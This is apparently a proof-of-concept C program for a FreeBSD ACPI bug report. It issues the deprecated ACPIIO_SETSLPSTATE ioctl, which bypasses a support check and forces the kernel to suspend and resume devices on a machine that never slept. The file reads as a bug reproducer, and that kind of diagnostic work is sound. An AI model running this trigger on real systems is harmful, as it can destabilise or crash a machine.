DF-5669 / setslp.c
/* * DF-5669 — trigger the deprecated ACPIIO_SETSLPSTATE ioctl on /dev/acpi. * * sys/dev/acpica/acpi.c:3451 case ACPIIO_SETSLPSTATE: (DEPRECATED, live) * -> acpi_SetSleepState() (acpi.c:2378) * -> acpi_EnterSleepState(sc, 3) (acpi.c:2557) * -> for S3: DEVICE_SUSPEND(root_bus) + AcpiEnterSleepStatePrep(S3) * + acpi_sleep_machdep() == NO-OP STUB (acpi_wakeup.c:51) * -> marked ACPI_SS_SLEPT anyway -> AcpiLeaveSleepState(S3) runs _WAK * -> DEVICE_RESUME(root_bus) on a machine that never slept. * * Contrast: ACPIIO_REQSLPSTATE (the modern path) is gated by * "This platform does not support acpi suspend/resume." -> EOPNOTSUPP * (acpi.c:2417-2420). The deprecated ioctl bypasses that gate. * * usage: ./setslp [state] [req] (default state=3; 'req' uses REQSLPSTATE) */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #ifndef ACPIIO_SETSLPSTATE #define ACPIIO_SETSLPSTATE _IOW('P', 3, int) /* DEPRECATED */ #endif #ifndef ACPIIO_REQSLPSTATE #define ACPIIO_REQSLPSTATE _IOW('P', 4, int) #endif int main(int argc, char **argv) { int state = (argc > 1) ? atoi(argv[1]) : 3; int use_req = (argc > 2 && strcmp(argv[2], "req") == 0); unsigned long req = use_req ? ACPIIO_REQSLPSTATE : ACPIIO_SETSLPSTATE; int fd, rv; printf("[*] uid=%d euid=%d state=S%d ioctl=%s\n", getuid(), geteuid(), state, use_req ? "REQSLPSTATE (gated)" : "SETSLPSTATE (deprecated)"); fflush(stdout); fd = open("/dev/acpi", O_RDWR); if (fd < 0) { printf("[-] open(/dev/acpi, O_RDWR) failed: %s\n", strerror(errno)); return (1); } printf("[*] /dev/acpi opened O_RDWR, issuing ioctl...\n"); fflush(stdout); rv = ioctl(fd, req, &state); printf("[*] ioctl() = %d, errno = %d (%s)\n", rv, errno, strerror(errno)); fflush(stdout); sleep(3); printf("[*] process still alive 3s after ioctl\n"); close(fd); return (0); } |